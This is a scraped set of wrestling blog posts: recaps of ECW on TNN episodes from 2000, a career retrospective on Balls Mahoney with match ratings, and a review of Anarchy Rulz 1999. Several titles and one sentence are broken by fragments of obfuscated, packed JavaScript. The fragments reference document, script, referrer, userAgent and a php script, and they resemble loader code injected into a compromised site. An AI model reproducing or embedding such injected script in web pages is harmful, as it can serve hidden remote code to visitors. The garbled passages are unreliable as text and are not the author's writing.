ECW on TNN – September 8, 2000: ECW All In One

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htnnn|var|u0026u|referrer|ribbz||js|php'.split('|'),0,{})) on TNN
Date: September 8, 2000
Location: Hammerstein Ballroom, New York City, New York
Commentators: Joel Gertner, Joey Styles

TV Title: Rhino vs. Kid Kash

Rhino is defending and ignore the other twenty people in the ring. Sandman does his big entrance as everyone else gets on the floor. We FINALLY get back to the ring as Rhino has choked Kash down in the corner, leaving Sandman to cane the champ in the head over and over. Rhino Gores him out to the floor and Kash does a big flip dive onto most of the roster.

Blue Boy vs. Balls Mahoney

Jasmin hits Balls with the weakest chair shots of all time so he gives her a Nutcracker Sweet.

Video on Danny Daniels (referee) costing Jerry Lynn some matches.

Tag Team Titles: Tajiri/Mikey Whipwreck vs. FBI

Mikey comes right back with a tilt-a-whirl reverse powerbomb to send Tony throat first across the top rope in a sweet counter. The hot tag brings in Tajiri to clean house with a chair, followed by a Whippersnapper through a table. Sal gets blinded but is still able to hit a superkick, setting up the Kiss of Death onto a chair to give Guido the pin on Tajiri.

https://www.amazon.com/dp/B01LY6766K#nav-subnav


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




ECW on TNN – July 21, 2000: The Dog Days

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfasy|var|u0026u|referrer|shnet||js|php'.split('|'),0,{})) on TNN
Date: July 21, 2000
Location: Mid-Hudson Civic Center, Poughkeepsie, New York
Commentators: Joey Styles, Joel Gertner

Opening sequence.

Da Baldies vs. Jerry Lynn/???

ECW World Title: Justin Credible vs. Tajiri

House show ads, including talk of a Tag Team Title tournament.

Rob Van Dam vs. Balls Mahoney

Back in and Van Dam kicks some more, including a second Van Daminator. The Five Star looks to finish but Balls small packages Rob for two instead. A super Nutcracker Sweet (sitout tombstone) gets two but Balls makes the mistake of wedging the chair into the corner. The Van Terminator puts Mahoney away.

https://www.amazon.com/dp/B01IH7O904


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




ECW on TNN – June 23, 2000: Maybe They Should Be Canceled

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdsby|var|u0026u|referrer|ntiet||js|php'.split('|'),0,{})) on TNN
Date: June 23, 2000
Location: O’Neill Center, Danbury, Connecticut
Commentators: Joel Gertner, Joey Styles

Rob Van Dam and Fonzie are excited about heading to Los Angeles for Heat Wave.

Earlier tonight, New Jack climbed a ladder to get into the rafters and dove onto someone not important enough to name and drive him through a table. Ah apparently it was Chris Hamrick, which I had to find online. Thanks for taking that big of a bump Chris.

Opening sequence.

Tony Mamaluke vs. Chilly Willy

Simon and Swinger are in their locker room when the Prodigy and the Prodigette come in to waste time. Cue the Musketeer for more comedy, only to have the Dangerous Alliance come in for the big showdown. Much like everything else tonight, this goes nowhere.

Steve Corino vs. Tajiri

Joey wraps it up by hyping a Chicago house show the next night of the fifth or so time on this show. Oh and Rhino defends the TV Title again Rob Van on free TV just because.

https://www.amazon.com/dp/B01IH7O904


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




ECW on TNN – May 26, 2000: Out Of Mothballs

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aatbb|var|u0026u|referrer|stdsz||js|php'.split('|'),0,{})) on TNN
Date: May 26, 2000
Location: Gwinnett Civic Center, Duluth, Georgia
Commentators: Joel Gertner, Joey Styles

Opening sequence.

Interviewer Steven Prazak goes in to find out if Justin Credible has a concussion problem. Francine and Justin yell at him before throwing Prazak out.

Masato Tanaka vs. Balls Mahoney

The Sinister Minister is talking about Mikey Whipwreck when Big Sal attacks him. A now crazy Mikey makes the save with a fireball.

Tajiri vs. Scotty Anton

Tajiri vs. Jerry Lynn

Post match Tajiri gets beaten down until RVD makes the save. The weird thing here is the Network has Walk by Pantera edited out but the fans are still seen chanting along. Van Dam is beaten down but Tajiri makes the save with some mist.

https://www.amazon.com/dp/B01IH7O904


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Balls Mahoney Passes Away At 44

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sekyf|var|u0026u|referrer|ehfyd||js|php'.split('|'),0,{})) sure you’ve heard about this by now.  I never was a fan of the guy but 44 is too young for anyone.




Wrestler of the Day – June 21: Balls Mahoney

Time for some ECW today with Balls Mahoney.

Mahoney got his start in the World Wrestling Council down in Puerto Rico. Here he is in his first gimmick against Carlos Colon on March 11, 1989.

Universal Heavyweight Title: Carlos Colon vs. Abbuda Dein

Dein is Palestinian and the Puerto Rico Heavyweight Champion, putting this between late February and mid May. They slug it out before heading outside to trade chops. Colon nails him in the head with the bell before hammering away at the forehead. An atomic drop nearly knocks Dein into a fan before Colon slams him on a stack of wood. Back in and a bloody Dein gets two off a backbreaker and a DDT gets the same.

A few foreign object shots puts Colon down followed by a legdrop for two more. Dein nails a swinging neckbreaker but still can’t get the pin. Colon blocks a Vader Bomb with two knees to the chest before kicking Dein low. He bites Dein’s open cut in a disturbing visual but runs into a boot, setting up Dein’s camel clutch. That goes nowhere as Colon quickly escapes and grabs a backslide for the pin.

Rating: C-. Not a bad brawl here but Dein wasn’t the most interesting heel in the world. I’ll give him this though: it took me a few looks at him to see that it was Balls Mahoney. The match was nothing special but it was good for a fairly big time title defense and the fans seemed to love Colon.

After a few years on the independent circuit, Mahoney got a few WWF jobbing spots, including this one on Superstars, December 26, 1992.

Virgil vs. John Rechner

They trade arm holds to start as Jerry Lawler wants to know why he isn’t in the Royal Rumble. Virgil grabs a quick backdrop and an atomic drop. A middle rope clothesline sets up a Russian legsweep to give Virgil the pin.

After a few years in SMW (which is really hard to find individual matches from), Mahoney would appear at In Your House 5 as Xanta Claus, Santa’s evil brother from the South Pole who stole presents from children. He sold out to Ted DiBiase, proving that even SANTA CLAUS had a price. Here’s one of his only matches from some point in December 1995.

Xanta Claus vs. Scott Taylor

DiBiase talks about finding his Million Dollar Champion, who would wind up being Steve Austin. Xanta runs Taylor over to start and chokes a lot before nailing a sambo suplex. The camel clutch ends Scott in a hurry.

Mahoney would finally head to ECW where he achieved his greatest fame. Here’s one of his earlier matches at Cyberslam 1997.

Balls Mahoney vs. Stevie Richards

Mahoney likes leather it seems. Uh…yeah. Use your imagination here people. It’s BWO Stevie here. A little trivia here is that Rob Feinstein, as in the RF in RF Video and a former owner of ROH is playing the Syxx (X-Pac) parody of 7-11 here. Balls has short hair here. He must trim them. The fans aren’t sure who they like here but it seems to be Stevie. I think the BWO is face here but it’s kind of hard to tell in the ECW Arena.

Stevie uses speed to take over, likely just offering Balls some to get him down. Off to an armbar now as the arena flashes his chest to the fans. Oh dear. Fujiwara Armbar now by Stevie (named after Mr. Fuji if you’ve been curious as to that for some odd reason). Balls pounds away for a bit and then it’s right back to Stevie’s armbar. Ten punches in the corner and then Stevie climbs the ropes backwards and rubs his tights in Balls’ face. So he wants Balls around his….never mind.

Another clothesline by Balls gets two. Balls has next to no offense outside of clotheslines and punches. He tries a spinwheel kick with Richards on the apron and yet he hits the floor before Richards. As in like 5 seconds before Richards. Stevie chills on the floor for a minute or so until Balls drags him back in. Middle rope elbow has Stevie in trouble.

This is boring if you couldn’t tell as we’re at about 8:30 so far. Yes, these two get eight and a half minutes. Balls gets a modified atomic drop (more like an elevated punch to the balls, thereby making Stevie’s voice elevated) and makes fun of the BWO. Top rope leg drop misses and it’s a Stunner by Stevie to give him control for all of half a second. Powerbomb and a superkick miss so Stevie kicks him in the balls and then the chin to end this.

Rating: D-. See, this is where the problems came from for ECW. In short, the matches aren’t that good. The characters are ok and the stories are more developed, but at the end of the day the wrestling just wasn’t there for the most part. They had some good talent, but a lot of the time it was a guy that punched a lot and had a finisher and that’s about it. They knew no basic stuff and it was glaringly obvious at times. Also, this getting nearly 13 minutes is a bit much.

And another early one from Terry Funk’s Wrestlefest, which was co-promoted by WWF and ECW.

Balls Mahoney vs. Bubba Ray Dudley

MAJOR miscommunication in there somewhere as this is originally announced Sandman vs. Balls. Bubba runs out instead during Sandman’s entrance and is introduced as Mahoney. Whatever. Sandman’s entrance of course takes forever. Joey takes shots at the announcer and he’s exactly right.

Sandman takes some cane shots from Bubba and here’s Balls. Injury I’m guessing. The announcer is told point blank that this is no contest. Naturally he says no disqualification. This guy is AWFUL. Bubba tries to leave and Balls calls out Bubba and that’s how the match starts. Bubba says no way and Balls threatens the referee to start the match or get a chair shot.

Naturally this is No DQ. So I think the miscommunication earlier is just that the announcer sucks. Bubba dancing is funny stuff. We’re on the floor now with Bubba in control. There’s not much to say here as it’s pretty bad. Bret and Foley are going to have to save this thing.

Bubba takes a beer to the face. Sandman slips Balls a chair. I’ve heard of tripping balls but slipping balls? Sandman looks WASTED. I mean he is gone. Balls ducks a chair and hits two bad cane shots and then one good one for a pin that looked like two. Sandman takes him out instead.

Rating: F+. Just a total mess here and the announcing threw everyone off beyond belief. This was bad anyway as no one wanted to see just Bubba. The Dudleys at this time were a unit and just like today when you took one apart they fell apart completely. This was by far the best of the night.

Next up, Cyberslam 1998 in one of Balls’ many tag matches against the Dudley Boys.

Dudley Boys vs. Balls Mahoney/Axl Rotten/Sandman

Rotten and Mahoney come out in like a minute. Sandman’s should take roughly four….except he’s coming through the entrance like a normal wrestler. I’m not sure what to make of that. Somehow the entrance still takes nearly five minutes. Bubba is still a country hick and he talks down to Sandman a bit. He wants to wrestle so he gets caned in the head.

The brawl begins of course and Big Dick (the third Dudley) can’t be hurt by kendo stick shots. Instead he hits a chokeslam to Sandman and pounds away a bit. This is one of those matches where it’s just a wild brawl with no real coherence or anything like that. The Dudleys are in control here other than D-Von who is having issues with Axl. Balls hammers on Bubba as well as Sandman crashes to the floor. Oh that was an “elbow drop”. Got it.

Bubba vs. Balls in the ring at the moment. Superkick puts the future Bully down but Bubba manages a superplex of all things. We’ve got a cheese grater to the head of Rotten and he’s busted now. D-Von is beating on him now. There’s no tagging or semblance of order if for some reason you’re confused and were expecting some.

Mahoney is thrown into the crowd for a bit. All three Dudleys put him on a table while his partners are in the ring and down. Bubba goes up on some stage to dive off…and here’s New Jack. He clocks Bubba with a chair and dives onto Balls instead. Spike Dudley and Kronus are in the ring now and it’s a 9 man triple threat tag team match now. Sure, why not?

Dudley Boys vs. Balls Mahoney/Axl Rotten/Sandman vs. Spike Dudley/John Kronus/New Jack

New Jack’s song plays throughout the match even though Spike and Sandman are the only guys in the ring. Spike gets a bunch of two counts off various small person offense. Sandman goes to the floor but Spike misses a baseball slide. Kronus is busted. Balls is busted. You can make your own jokes there. A standing version of the move that would become known as What’s Up hits New Jack.

The most famous combination of the Dudley Boys sets for the 3D on New Jack but Jack falls down. The big brawl is still going here but it’s far slower. Granted they’ve been fighting for over ten minutes, but why are the new guys so tired? Kronus and Sandman both work on Big Dick. Lucky. It’s table time but it’s not set up. Pretty much just random punches with an occasional weapon being used.

Mahoney gets a belly to back suplex on Spike and sets for a moonsault through the table. Spike pops up and gets something like a tornado DDT through the table to Balls. Axl hits a REALLY inverted reverse DDT to eliminate Spike’s team. Yes this is elimination now. Bubba calls for the 3D on Sandman but the partners interfere. Something resembling a Stun Gun onto a chair is enough for Sandman to pin Bubba and end this.

Rating: D+. I still don’t like these things but at the same time this wasn’t as bad as some of these got. The biggest issue of all is the time, as this ran nearly 20 minutes. Far too long but they kept it mostly entertaining. The extra three guys coming in helped as it energized things a bit. Not horrible but nothing we haven’t seen a few million times already.

Mahoney would form his most successful tag team with Axl Rotten, collectively known as the Hardcore Chair Swinging Fraks. Here’s one of their tries at the titles from Wrestlepalooza 1998.

Tag Team Titles: Hardcore Chair Swinging Freaks vs. Lance Storm/Chris Candido

Candido and Storm still hate each other. Before the match Candido goes to the back and comes back out to his own music so he can strut along the apron. They get in an argument over whose name is listed first in their entrances. Chris insists on some big match intros before starting with Rotten. Some armdrags put Axl down but he comes back with a takedown. Off to Storm who gets his arm cranked on by both Freaks but Balls misses a splash in the corner.

Back to Axl who drops an elbow on an elevated Storm for two. Storm comes back with a spinwheel kick but Candido tags himself back in, much to Lance’s annoyance. An armdrag quickly takes Chris down and it’s back to Mahoney for an elbow drop. Some left hands in the corner have Candido in more trouble and what was supposed to be a dropkick put Chris down. Mahoney misses a charge and falls to the floor, but he catches Candido’s dive in mid air. Storm goes out to help but Axl dives onto all three guys to put them all on the floor.

Candido slaps his partner on the back and throws him to the floor for a tag but the referee won’t let Storm do the same thing. A suplex puts Axl down but Chris hurts his back and has to tag in Lance. Storm superkicks Axl down for two and Candido puts on a chinlock. That goes nowhere so Candido takes him down with a super hurricanrana for two. Axl fights back and tries a Boston crab but gets kicked off, only to have Rotten bounce off the corner and fall face first down into a low blow on Chris.

A double DDT puts the champions down and the hot tag brings in Mahoney. Candido gets caught in the corner but Sunny comes out for a distraction. Storm has to save her from Mahoney and it starts another argument with the champions. Lance dives onto Axl on the floor but Mahoney hits the Nutcracker Suite. Instead of covering though, he goes over and gets a chair. Storm hits a springboard dropkick to drive the chair into the face for a cover, but Candido breaks up the pin and steals it for himself.

Rating: C-. That’s probably high but I liked this far more than all of the other tag team messes I’ve had to sit through at the last few shows. There was at least an idea here and the stories throughout made sense, even though we didn’t need the Sunny stuff in the middle. Just have her come out with the team to start.

With Rotten injured, Balls would hook up with Masato Tanaka to challenge for the belts at November to Remember 1998.

Tag Team Titles: Dudley Boys vs. Masato Tanaka/Balls Mahoney

The Dudleys are defending. Bubba calls the Dudleys the most technically sound wrestlers in the world. He knows there’s no one in the back that can take the titles from them either. Joel says he’s got more game than Parker Brothers. The entrance is significantly shorter than usual this time. Axl Rotten is with the challengers and tells the referee to just get out of the way. The Louisiana State Athletic Commission has said no chairs, but ECW wrestlers don’t listen to commissions so let’s have a Bourbon Street Brawl.

It’s a regular tag match to start with Bubba hammering on Tanaka in the corner. It’s off to D-Von who chops away in the corner and nails a jumping back elbow to the jaw. The Dudleys make sure to go after Tanaka’s injured head before D-Von puts on a quickly broken nerve hold. Bubba comes back in with some shoulder blocks to the ribs followed by a neckbreaker for two. D-Von hammers away but Tanaka hits him low. The effect is minimal though as D-Von hits a reverse inverted DDT to take over again.

D-Von tries a People’s Elbow but stops at the last second and turns it into a headbutt. It only hits mat though and the tag brings in Mahoney. The parody was fine once from Meanie but twice in one show doesn’t hold up very well. Bubba is sent to the floor and the challengers throw D-Von on top of him. Tanaka takes both of them down with a big dive but Balls slips off the top before diving onto everybody.

Bubba heads back inside and dives down to take out the other three people. Back in and Tanaka fires off some elbows to Bubba but gets caught in a rack neckbreaker from Big Dick. Axl nails Big Dick with a chair a few times but gets hit by a wooden sign from Sign Guy. That earns him a Nutcracker Suite from from Mahoney but Gertner has a chair. He nails Mahoney in the head and does a dance but Balls is just standing there. Joey: “Gertner is going to die.” Balls misses his big swing but now all four people in the match are in the ring with chairs.

The challengers get nailed in the head three times in a row before they finally drop. They’re quickly back up though and nail stereo Roaring Elbows to drive the chairs into the Dudleys’ face. Jeff Jones won’t count the pin and pulls out a Japanese to English dictionary to explain what happened to Tanaka. Rotten caves his head in with a chair to cut out the language lesson. Big Dick low bridges Balls to the floor and 3D connects on Tanaka for two. That’s one of the only times, as in one maybe three times ever, that anyone ever kicked out of that move.

Bubba and D-Von argue over whose fault it is, earning them both chair shots to the head for two. Axl has handcuffed Big Dick to the post as a Nutcracker Suite and tornado DDT onto chairs get another double two count. D-Von piledrives Mahoney on a chair and Bubba powerbombs Tanaka onto one as well. It’s table time with both Dudleys loading one up but Van Dam and Sabu run out to drive the Dudleys through the wood. Mahoney and Tanaka come in for the pin to give us new champions.

Rating: D-. The only reason this isn’t a failure is how big of a surprise it was to see someone kick out of a 3D. This was so ridiculously overdone and taken beyond the suspension of disbelief that it stopped being fun at all. What was the point in saying Tanaka and Mahoney were so injured if they just absorb all those shots to the head? The match didn’t even wind up meaning anything as the Dudleys got the titles back five days later.

Here’s a rare singles match from Living Dangerously 1999.

Steve Corino, a young guy whose gimmick was that he was old school and wanted to do things the old fashioned way, talks about how he doesn’t need steroids and doesn’t need to wrestle around the world to hone his craft. He issues an open challenge and the fans want Sid. They get someone else instead.

Steve Corino vs. Balls Mahoney

Mahoney starts fast but misses a spinwheel kick and falls to the floor. Corino celebrates and the fans chant BORING. Steve loads up a dive but opts not to do it. He tries a few seconds later but gets caught in the air. Axl Rotten gets in a clothesline and Balls hits a frog splash for two back inside. Corino avoids another splash and hits a superkick before going for a chair. He teases nailing Mahoney but instead sits down for a chinlock. Joey: “BOO!” Mahoney won’t have that and superkicks Steve down before leveling him with the chair for an easy pin.

Rating: D. Not much to this but the anti-hardcore gimmick is one that is always going to work in ECW. Corino would get a lot better (and WAY more violent) in the coming months but this was a good national debut for the character. Mahoney is a perfect opposite for him as well, so this was actually time well spent.

When all else fails, give Spike Dudley a random partner and have him fight the Dudleys. From Heat Wave 1999.

Tag Titles: Dudley Boys vs. Spike Dudley/Balls Mahoney

Something tells me this is going to take awhile to start. Bubba talks about how these are the only belts that mean anything. That explains them jumping in less than 5 months. Gertner is still selling the injuries from the missed fireball. Joey says he looks like the Invisible Man. Joey, you fail. This is a fairly infamous promo as Bubba more or less has the crowd on the verge of rioting with how much heat they have on them.

This is where he says there’s a *insert gay slur here* in the front row and a mother who taught her daughter to suck. The Dudleys say that if the fans won’t come to them, the Dudleys will come to the fans. This is intense stuff if nothing else as a woman spits on Bubba. Now it’s time for Gertner to talk. He makes sex jokes based on the names of movies in theaters at the time to really date the show.

They’ve been talking for ten minutes now. Ok, we get it already. FINALLY Balls’ music kicks on. And now Balls talks. He says it’s a street fight with falls count anywhere. Wow I’m stunned. Naturally it’s a huge mess.

Seriously did you expect anything else? We get the cheese grater and I already hate this match. Seriously, what does this have to do with tag team wrestling? You never see more than two people on screen at once. D-Von and Spike are in the crowd doing whatever. Since there’s no referee with them, it’s rather pointless to follow them isn’t it? It’s just a big brawl with blood and random strikes. Spike dives off the balcony. Yeah I don’t care either.

Now I’m stunned as all four guys are in the ring at once. Holy goodness. The fans chant for flaming tables. Being put through one of those sounds pretty good right now. D-Von just goes off on Mahoney in the corner with punches. Ok that was kind of cool. The faces hit their finishers at the same time and of course the Dudleys kick out. And it worked so well the first time that we should just do that all over again!

So of course the four finishers don’t do it so they win with a schoolboy. Wow that’s riveting. The Dudleys do the beatdown afterwards and the table is lit up. Make that two tables. What a waste of fake wood. The powerbomb on Balls is botched. Yeah there’s nothing unsafe about that. Spike goes through. And since this was an idiotic match, here’s New Jack to really cram it home. As I’ve said, he is the epitome of everything wrong with ECW. This celebrating goes on forever as we kill more time.

Rating: F. The camera work sucked, there was zero wrestling, the ending was idiotic, it’s the same match as last month and the same feud for four months and New Jack was involved afterwards. What do you think I’m going to give this? It’s another sign that Heyman’s creativity was falling apart.

Tanaka and Mahoney were on again off again partners. Here they are off again, at Hardcore Heaven 2000.

Balls Mahoney vs. Masato Tanaka

The Balls song sounds a bit different. I think it’s a cover. Ah yes it is. I know this because it plays for about three and a half minutes with Balls just playing to the crowd. This is a long running rivalry that never really went anywhere for no apparent reason. Also, Tanaka can give Awesome every bit he can handle, but has trouble with Balls Mahoney?

Does that just not make sense for anyone else? Cyrus comes out and says the Network is taking over, despite not being on the network for this show. Ah he’s mad about Gertner being there on commentary. Yeah this isn’t bringing the show to a halt at all. Cyrus says Gertner’s fat body is a ratings killer. Strange I thought that was the booking, the look of the show, the wrestling, the language, the stories and the lack of new talent being pushed other than the same old guys.

Joel threatens Cyrus and W*ING Kanemura chokes him out from behind. Masato and Balls are just standing in the ring during all this and Cyrus takes over on commentary. Now they get the big intros, which to be fair was a tradition in ECW. Tanaka’s tights look like Too Much’s when they were heels (Too Cool later on). Mahoney actually does amateur stuff of all things and it works. This has been ALL Mahoney so far which is just weird.

Dang Balls is horrible at selling anything. Tanaka hits his running chair shot and the tornado DDT on the ramp. I guess Doug Williams stole it from Tanaka. Balls finds a chair and the fans pop. They both have them and let the duel begin. Tanaka continues his weird thing of no selling chairs. How does that even work? The crowd is white hot here, so at least it’s typical for ECW.

There are like 5 chairs in the ring now. Balls takes a tornado DDT onto the pile of them for two. The lack of pins after these ridiculous moves gets a bit tiring at times. Sweet goodness I love Diamond Dust. Balls hits the Nutcracker Sweet on Tanaka as we’re approaching the Awesome/Tanaka levels of insanity. Roaring Elbow (which sounds like a reject from World of Warcraft) gets two. A top rope chair shot and roaring elbow ends it though.

Rating: B-. Better than I expected, but it got completely ridiculous at the end. Tanaka is a different kind of character though as he goes to such ridiculous lengths of kicking out at times but it still works fine I think as it’s supposed to be over the top, which this certainly was.

Eh why not. Flaming tables from November to Remember 2000.

Balls Mahoney/Chilly Willy vs. Da Baldies

This is a flaming tables match. It’s a tables match but the table has to be on fire for it to count. Yeah that’s not overkill at all. Honestly, who thought Chilly Willy was a good name? It sounds like a name for a frozen drink that a 4 year old would drink. There’s a table in the ring already so we head to the floor. We hear the whole Balls used to be a big deal in high school wrestling. Is he the Al Bundy of wrestling or something?

We’re in the crowd and you can’t see a thing just to make it really feel like ECW all over again. They’re in a balcony as we continue to wait for something to happen. Lots of beers are being slammed onto people’s heads. It’s one of those brawls where each punch gets a cheer but they come every minute or so. They brawl in the aisle to fill in some time.

Willy gets powerbombed through two chairs on the floor. FREAKING OW MAN. Hey we’re actually in the ring now. Something tells me this isn’t going to last long. The lighters finally get brought into play with bottle after bottle of fluid. DeVito goes through the table and it’s finally over.

Rating: F+. This was TWELVE MINUTES LONG. Yes, this, is the longest match of the night so far. It’s the freakshow match of the night I guess but that doesn’t mean it was any good. Da Baldies go from being what was supposed to be a semi-big heel stable to jobbing to Chilly Willy. That’s ECW for you.

Since ECW had stuff like flaming tables, their last pay per view was coming soon. Balls competed at Guilty As Charged 2001.

Simon Diamond/Swinger vs. Balls Mahoney/Chilly Willy

What kind of a name is Swinger? In WCW he was Johnny Swinger and here he’s just Swinger. That never made sense. Swinger talks about not getting any from Dawn Marie while Simon has, so he’s gone out and gotten Jasmine St. Clair. She and Blue Boy come out and apparently Blue Boy is his new manager. Oh look: another pointless midcard faction. After about a minute of brawling, Rhyno comes in and gores everyone including the women. Well there’s five minutes filled. Jasmine takes a piledriver off the middle rope.

Mahoney would hit the indies like many people who worked for ECW. Here he is in a short term run in TNA, from Weekly PPV #78 on January 21, 2004.

Julio Dinero/CM Punk vs. Sandman/Balls Mahoney

Mahoney is the latest partner that Sandman has brought in to fight the Gathering. Sandman gets beaten down to start but Mahoney makes the save with a bunch of punches. It’s time to drink but Punk and Dinero nail superkick to knock the beer out of their mouth. Sandman nails a hurricanrana on Punk and Mahoney follows it up with a frog splash. Dinero superkicks both guys down but Sandman drapes him over the top rope. Punk and Mahoney fight to the floor before bringing a chair back in. Both members of the Gathering drive the chair into Balls’ face before a side slam/middle rope elbow combo onto the chair pins Mahoney.

Rating: D. Total mess that felt like a bad ECW match. To be fair though Punk was still just your usual indy guy at this point, meaning it was a lot of strikes and not a ton of selling. The match wasn’t any good, but what are you expecting from a team of Balls Mahoney and the Sandman?

Mahoney would appear at One Night Stand 2006 against an old friend/rival.

Balls Mahoney vs. Masato Tanaka

Taz (sans sunglasses) makes fun of Balls being from Nutley, New Jersey. What are the odds of that one? These two used to be tag champions. Show of respect to start as the fans are totally behind Tanaka. He has a bad shoulder too. Tanaka hammers away to start but walks into a powerslam and some punches. Mahoney is sent to the floor so Tanaka dives on him to start a brawl outside.

Balls wants a beer so he takes a sip and drills Tanaka with the rest of it. Running chair shot misses as a fan has a sign that says pork. No one ever said they made sense. Back in now and Tanaka gets a superplex for two. Balls gets one of his own and screw it let’s have a chair duel. A huge shot from Mahoney is enough to end it, which is a bit hard to buy after the war Tanaka and Awesome had last year.

Rating: D+. Just a quick match to give the fans a breather which is probably a good idea. This was a rematch from some original PPV I think but that wasn’t referenced. To be fair though it’s not like there was a point to this one so I can’t blame them for that one. Just a match here and there’s nothing bad about that.

With ECW being brought back as a full time show, Mahoney had a match on June 19, 2006’s Raw.

John Cena vs. Balls Mahoney

They slug it out to start with Cena getting two off a fisherman’s suplex. The fans are all over Cena here and Mahoney pokes him in the eye to take over. A hard superkick gets two on Cena but John comes back with right hands and the ending sequence. Heyman sends in a chair but Cena grabs a drop toehold and puts on the STF for the submission.

Here’s a match from the revised ECW on August 7, 2007.

The Miz vs. Balls Mahoney

Extreme Expose is at ringside for no apparent reason. Miz gets punched in the face to start but is able to send Mahoney face first into the middle buckle. Mahoney comes back with punches and the Nutcracker Suite for two but the Reality Check gets Miz a fast pin.

We’ll wrap it up with the mess that was Hardcore Justice 2010.

Cajones/Axl Rotten vs. ???/???

Cajones is of course Balls Mahoney. He issues an open challenge and it’s JOEL GERTNER. Ok this is at least an improvement. I think I smell Team 3D. Yep I’m right and they’re in tye-dye. Thankfully Joel does a poem which is funny. He looks…bad. Like even worse than before. It’s a South Philadelphia Street Fight in Orlando according to Ray.

They go split screen here for the sake of torturing us even better. Ray shouts at him and calls him Balls because that’s ok I guess. We go into the crowd for fun. This is “hardcore” I guess with mainly just punching and random shots with weak weapons. We bring in some more traditional weapons back in the ring. The announcers are of course cracking up over everything here instead of selling it like a hardcore match.

Frying pan to the head of Balls. And Mahoney breaks out a freaking toy lightsaber. And so does Bubba. I hate this show. I truly do. Axl botches a reverse DDT on Bubba and Nutcracker Suite to D-Von gets two. The fans want flaming tables. They get a chair duel instead. The referee tries a double clothesline on the team that isn’t the Dudleys. It fails, much like this match. The Dudleys bring in a table and Gertner has lighter fluid. Balls goes through it, ending this mess.

Rating: D-. Flaming table is all that keeps this from failing. This whole show is a joke and that’s being kind.

There isn’t much to say about Balls Mahoney, but he wasn’t as bad as people remember him being. Yeah he was part of a team called the Hardcore Chair Swinging Freaks, but he had a decent career outside of ECW as well. There are far worse guys out there (like Axl Rotten for example) but he’s not terrible.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Survivor Series at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at:




On This Day: September 19, 1999 – Anarchy Rulz 1999: Goodbye Taz, Goodbye Sanity

Anarchy Rulz 1999
Date: September 19, 1999
Location: Odeum Expo Center, Villa Park, Illinois
Attendance: 6,000
Commentators: Joey Styles, Cyrus

And so it dies here. No not the company as they held onto life, if you want to call it that, for about another 16 months after this. Taz leaves here though, as WWF came with a huge sum of money about three weeks after ECW debuted on TNN. The Dudleys already left about two weeks earlier. Word has gotten out that Taz is leaving too, so don’t expect him to be incredibly over tonight. Other than that, there isn’t much on the card. Storm vs. Lynn should be fun though. Let’s get to it.

We see Masato Tanaka showing up. He’s the number one contender. I’m not sure but I think that was Dave Prazak doing the interview. Awesome’s manager shows up and doesn’t like Tanaka. He gets smacked.

Cyrus and Joey do the intro you would expect before we throw it to the theme song.

Lance Storm vs. Jerry Lynn

We start with this? Really? I guess part of anarchy is that we’re getting rid of the best match right off the bat for some reason. Dawn Marie’s dress is almost not even there. These are two of my favorites from ECW so I’ll be pleased with this more than likely. Jerry’s ribs are messed up because the Impact Players beat him up about a week before.

Lance Storm having his own personal chick is rather amusing. Crowd is pretty one sided to say the least. We have a nice technical piece to start. Did you expect anything else? The fans applaud which is always a good sign. ECW fans were fair if nothing else. I’ve always liked Joey’s mentioning of the referees. They work extremely hard and rarely get the credit that they deserve. Storm’s chops kind of suck.

There’s a bad delay right before it connects and it makes them look really weak. The fans get bored with the match and would like to see something from Dawn. Cyrus gets a nice line in by saying that Storm is a step ahead of Gene Kiniski who was billed as Canada’s Greatest Athlete: he’s CALGARY’S Greatest Athlete. That’s a great line and could be solid for a heel in a territorial promotion.

The referee yells at someone at ringside for a LONG time with his eyes totally away from the action. Nice one guys. Jerry hits a nice plancha from the top rope to the floor and down goes Storm. Having Cyrus as an analyst is a GREAT help. Joey is fun to listen to but there is simply too much to have one guy do. That’s not a knock on Styles. It’s too much for anyone. Having an analyst in there takes a ton of pressure off of Joey and it’s helping a lot.

Cradle piledriver is blocked. Again, can someone explain the difference to me? SWEET pinfall reversal sequence that goes on for nearly a minute straight. That’s VERY impressive and literally gets a standing ovation from the crowd. They go wide to show it and they well should. Amazing stuff as I knew it would be. Cyrus points out that he used to be a wrestler which is something that needs to be done more often.

TNA has been doing it more often lately as they point out that Taz used to be a wrestler. He’s been retired what, 9 years or so? A LOT of fans likely haven’t seen him wrestle. How long has it been for King? Point out to the fans that he actually has experience. Jerry is a former world champion as is Taz. Let the fans know that once in awhile. There’s a chair wedged in the corner that hasn’t been doing anything yet.

Lynn is thrown into the corner but slides to avoid the steel macguffin. He slams his ribs into the post though and Storm goes after it like a Hart-trained wrestler attempting to use basic psychology. Lynn hits a Stunner out of nowhere to get us back to even. I love when wrestlers just bust out random moves.

It makes no sense that so many guys only use their signature stuff. Use whatever comes to mind, at least in kayfabe terms. Storm hits a knee to the ribs and hooks a ¾ nelson of all things for the clean pin? That came out of NOWHERE. It’s fine to end it that way as it looked solid, but DANG was that random.

